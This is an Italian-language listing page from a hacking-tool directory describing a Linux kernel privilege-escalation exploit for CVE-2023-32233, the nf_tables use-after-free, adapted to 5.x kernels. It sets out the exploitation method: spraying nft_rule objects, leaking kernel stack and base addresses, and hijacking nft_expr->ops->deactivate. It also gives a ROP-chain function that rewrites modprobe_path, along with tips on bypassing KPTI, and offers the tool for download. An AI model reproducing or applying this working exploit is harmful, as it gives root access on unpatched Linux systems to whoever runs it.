Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-32233 | Kitploit
Strumenti/GitHubGitHub/void0red/cve-2023-32233
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitShellcodeSviluppo PayloadBinary Exploitation
GitHubvoid0red/cve-2023-32233

CVE-2023-32233

Vedi Repository
12 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2023-32233 Adattamento per kernel 5.x

EXP esistenti

  1. https://github.com/Liuk3r/CVE-2023-32233/tree/main
  2. https://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2023-32233_mitigation

Motivo

Poiché il kernel delle versioni precedenti (<5.16) non include patch, non è possibile utilizzare il campo consumed della struttura nft_quota per scrivere/leggere indirizzi di memoria, quindi si considera l'uso del metodo ROP per l'escalation dei privilegi. L'exp di google utilizza il metodo NFT_MSG_DELRULE+NFT_MSG_DELSET per innescare la UAF, ma nei test reali si è scoperto che questo script crasha direttamente in nf_table_commit->list_del_rcu.

Metodo

Questo exp è stato testato sulla versione v5.15.110

Combinando i due exp, si esegue lo spray della struttura nft_rule, si fa leak dell'indirizzo dello stack del kernel tramite list_head, si fa leak dell'indirizzo del kernel tramite nft_expr->ops, e si dirotta il flusso di controllo tramite nft_expr->ops->deactivate.

root@kitploit:~
struct nft_rule {
	struct list_head		list;
	u64				handle:42,
					genmask:2,
					dlen:12,
					udata:1;
	unsigned char			data[]
		__attribute__((aligned(__alignof__(struct nft_expr))));
};

struct nft_expr {
	const struct nft_expr_ops	*ops;
	unsigned char			data[]
		__attribute__((aligned(__alignof__(u64))));
};


static void nft_rule_expr_deactivate(const struct nft_ctx *ctx,
				     struct nft_rule *rule,
				     enum nft_trans_phase phase)
{
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {
		if (expr->ops->deactivate)
			expr->ops->deactivate(ctx, expr, phase);        // [7]

		expr = nft_expr_next(expr);
	}
}

Per comodità di escalation, si riprende direttamente il metodo basato su modprobe_path dell'exp1, costruendo la ROP come segue.

root@kitploit:~
// /sbin/modpath -> //tmp/modpath
void make_payload_rop(uint64_t* data) {
    data[0] = kbase + POP_5REG_RET; // skip metadata
    data[5] = kbase + PUSH_RAX_POP_RSP; // expr->ops->deactivate
    // /tmp/mod -  sbin/mod
    // 0x646f6d2f706d742f - 0x646f6d2f6e696273 = 0x20411bc
    data[6] = kbase + POP_RAX_RET;
    data[7] = kbase + cfg_modprobe_path+1; // [rax]
    data[8] = kbase + POP_RDI_RET;
    data[9] = 0x20411bc; // rdi
    data[10] = kbase + ADD_RAX_0_EDI; // add [rax], edi
}

Prima il kernel esegue fino a data[5]; rax contiene l'indirizzo di inizio del blocco (&data[0]). Si usa push rax; pop rsp; ret; per completare la migrazione dello stack, causando inevitabilmente una corruzione dello stack (di conseguenza non è possibile tornare normalmente allo spazio utente; se serve eseguire l'escalation tornando allo spazio utente, si può costruire un blocco più grande (>0x80) facendo riferimento a make_payload_rop2 nell'exp, usando swapgs_restore_regs_and_return_to_usermode per bypassare kpti e tornare allo spazio utente). Poiché il nft_rule falsificato ha 0x18 byte di metadati (principalmente gli 8 byte all'offset 0x10), è necessario usare pop per saltare questi indirizzi; poi si può agire liberamente, usando alcuni gadgets brevi per modificare modprobe_path.

Scarica lo strumento